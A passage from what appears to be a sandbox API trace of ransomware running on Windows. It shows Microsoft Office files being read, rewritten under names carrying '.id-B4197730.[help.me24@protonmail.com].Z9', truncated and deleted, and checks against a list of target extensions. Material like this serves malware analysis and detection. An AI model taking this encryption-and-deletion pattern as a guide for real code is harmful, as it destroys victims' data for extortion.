	[0075.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.259] GetLastError () returned 0x0
	[0075.259] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x119, lpOverlapped=0x0) returned 1
	[0075.260] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x120, lpOverlapped=0x0) returned 1
	[0075.261] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.261] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x100, lpOverlapped=0x0) returned 1
	[0075.262] SetEndOfFile (hFile=0x360) returned 1
	[0075.262] CloseHandle (hObject=0x360) returned 1
	[0075.263] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.263] SetEndOfFile (hFile=0x364) returned 1
	[0075.264] CloseHandle (hObject=0x364) returned 1
	[0075.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0075.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1
	[0075.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.264] lstrlenW (lpString=".doc") returned 4
	[0075.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.264] lstrlenW (lpString=".docx") returned 5
	[0075.264] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0075.264] lstrlenW (lpString=".pdf") returned 4
	[0075.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.265] lstrlenW (lpString=".xls") returned 4
	[0075.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.265] lstrlenW (lpString=".xlsx") returned 5
	[0075.265] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0075.265] lstrlenW (lpString=".ppt") returned 4
	[0075.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.266] lstrlenW (lpString=".zip") returned 4
	[0075.266] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.266] lstrlenW (lpString=".rar") returned 4
	[0075.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString=".bz2") returned 4
	[0075.266] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString=".7z") returned 3
	[0075.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.266] lstrlenW (lpString=".dbf") returned 4
	[0075.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.266] lstrlenW (lpString=".1cd") returned 4
	[0075.266] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.266] lstrlenW (lpString=".jpg") returned 4
	[0075.266] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.266] lstrlenW (lpString=".doc") returned 4
	[0075.266] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.266] lstrlenW (lpString=".docx") returned 5
	[0075.266] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0075.266] lstrlenW (lpString=".pdf") returned 4
	[0075.267] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString=".xls") returned 4
	[0075.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString=".xlsx") returned 5
	[0075.267] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0075.267] lstrlenW (lpString=".ppt") returned 4
	[0075.267] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.267] lstrlenW (lpString=".zip") returned 4
	[0075.267] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.267] lstrlenW (lpString=".rar") returned 4
	[0075.267] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString=".bz2") returned 4
	[0075.267] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString=".7z") returned 3
	[0075.267] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.267] lstrlenW (lpString=".dbf") returned 4
	[0075.267] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.267] lstrlenW (lpString=".1cd") returned 4
	[0075.267] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0075.267] lstrlenW (lpString=".jpg") returned 4
	[0075.267] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.267] lstrcmpiW (lpString1=".HTM", lpString2=".Z9") returned -1
	[0075.268] lstrlenW (lpString="OSPP.HTM") returned 8
	[0075.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.269] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=174528) returned 1
	[0075.269] CloseHandle (hObject=0x364) returned 1
	[0075.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20
	[0075.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.269] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.269] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.272] GetLastError () returned 0x0
	[0075.272] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2a9c0, lpOverlapped=0x0) returned 1
	[0075.280] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2a9d0, lpOverlapped=0x0) returned 1
	[0075.283] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.283] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0075.284] SetEndOfFile (hFile=0x360) returned 1
	[0075.284] CloseHandle (hObject=0x360) returned 1
	[0075.288] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.288] SetEndOfFile (hFile=0x364) returned 1
	[0075.290] CloseHandle (hObject=0x364) returned 1
	[0075.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1
	[0075.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.290] lstrlenW (lpString=".doc") returned 4
	[0075.290] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0075.290] lstrlenW (lpString=".docx") returned 5
	[0075.290] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0075.290] lstrlenW (lpString=".pdf") returned 4
	[0075.290] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0075.290] lstrlenW (lpString=".xls") returned 4
	[0075.290] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0075.290] lstrlenW (lpString=".xlsx") returned 5
	[0075.290] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0075.290] lstrlenW (lpString=".ppt") returned 4
	[0075.290] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0075.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.290] lstrlenW (lpString=".zip") returned 4
	[0075.291] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString=".rar") returned 4
	[0075.291] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString=".bz2") returned 4
	[0075.291] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0075.291] lstrlenW (lpString=".7z") returned 3
	[0075.291] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0075.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.291] lstrlenW (lpString=".dbf") returned 4
	[0075.291] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0075.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.291] lstrlenW (lpString=".1cd") returned 4
	[0075.291] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0075.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.291] lstrlenW (lpString=".jpg") returned 4
	[0075.291] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.291] lstrlenW (lpString=".doc") returned 4
	[0075.291] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0075.291] lstrlenW (lpString=".docx") returned 5
	[0075.291] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0075.291] lstrlenW (lpString=".pdf") returned 4
	[0075.291] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString=".xls") returned 4
	[0075.291] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString=".xlsx") returned 5
	[0075.291] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0075.291] lstrlenW (lpString=".ppt") returned 4
	[0075.291] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.291] lstrlenW (lpString=".zip") returned 4
	[0075.291] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0075.291] lstrlenW (lpString=".rar") returned 4
	[0075.291] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0075.292] lstrlenW (lpString=".bz2") returned 4
	[0075.292] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0075.292] lstrlenW (lpString=".7z") returned 3
	[0075.292] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0075.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.292] lstrlenW (lpString=".dbf") returned 4
	[0075.292] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0075.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.292] lstrlenW (lpString=".1cd") returned 4
	[0075.292] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0075.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0075.292] lstrlenW (lpString=".jpg") returned 4
	[0075.292] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0075.292] lstrcmpiW (lpString1=".VBS", lpString2=".Z9") returned -1
	[0075.292] lstrlenW (lpString="OSPP.VBS") returned 8
	[0075.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.292] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=94467) returned 1
	[0075.292] CloseHandle (hObject=0x364) returned 1
	[0075.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20
	[0075.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.293] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.293] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.293] GetLastError () returned 0x0
	[0075.293] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x17103, lpOverlapped=0x0) returned 1
	[0075.674] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x17110, lpOverlapped=0x0) returned 1
	[0075.676] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.676] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0075.677] SetEndOfFile (hFile=0x360) returned 1
	[0075.677] CloseHandle (hObject=0x360) returned 1
	[0075.679] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.679] SetEndOfFile (hFile=0x364) returned 1
	[0075.681] CloseHandle (hObject=0x364) returned 1
	[0075.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1
	[0075.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString=".doc") returned 4
	[0075.682] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString=".docx") returned 5
	[0075.682] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0075.682] lstrlenW (lpString=".pdf") returned 4
	[0075.682] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString=".xls") returned 4
	[0075.682] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0075.682] lstrlenW (lpString=".xlsx") returned 5
	[0075.682] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0075.682] lstrlenW (lpString=".ppt") returned 4
	[0075.682] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString=".zip") returned 4
	[0075.682] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0075.682] lstrlenW (lpString=".rar") returned 4
	[0075.682] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString=".bz2") returned 4
	[0075.682] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString=".7z") returned 3
	[0075.682] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0075.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString=".dbf") returned 4
	[0075.682] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString=".1cd") returned 4
	[0075.682] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString=".jpg") returned 4
	[0075.682] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.682] lstrlenW (lpString=".doc") returned 4
	[0075.682] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0075.682] lstrlenW (lpString=".docx") returned 5
	[0075.683] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0075.683] lstrlenW (lpString=".pdf") returned 4
	[0075.683] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0075.683] lstrlenW (lpString=".xls") returned 4
	[0075.683] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0075.683] lstrlenW (lpString=".xlsx") returned 5
	[0075.683] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0075.683] lstrlenW (lpString=".ppt") returned 4
	[0075.683] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0075.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.683] lstrlenW (lpString=".zip") returned 4
	[0075.683] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0075.683] lstrlenW (lpString=".rar") returned 4
	[0075.683] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0075.683] lstrlenW (lpString=".bz2") returned 4
	[0075.683] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0075.683] lstrlenW (lpString=".7z") returned 3
	[0075.683] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0075.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.683] lstrlenW (lpString=".dbf") returned 4
	[0075.683] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0075.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.683] lstrlenW (lpString=".1cd") returned 4
	[0075.683] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0075.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0075.683] lstrlenW (lpString=".jpg") returned 4
	[0075.683] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0075.683] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.683] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53
	[0075.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.684] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1261) returned 1
	[0075.684] CloseHandle (hObject=0x364) returned 1
	[0075.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0075.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.684] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.684] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.684] GetLastError () returned 0x0
	[0075.685] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0075.687] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0075.688] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
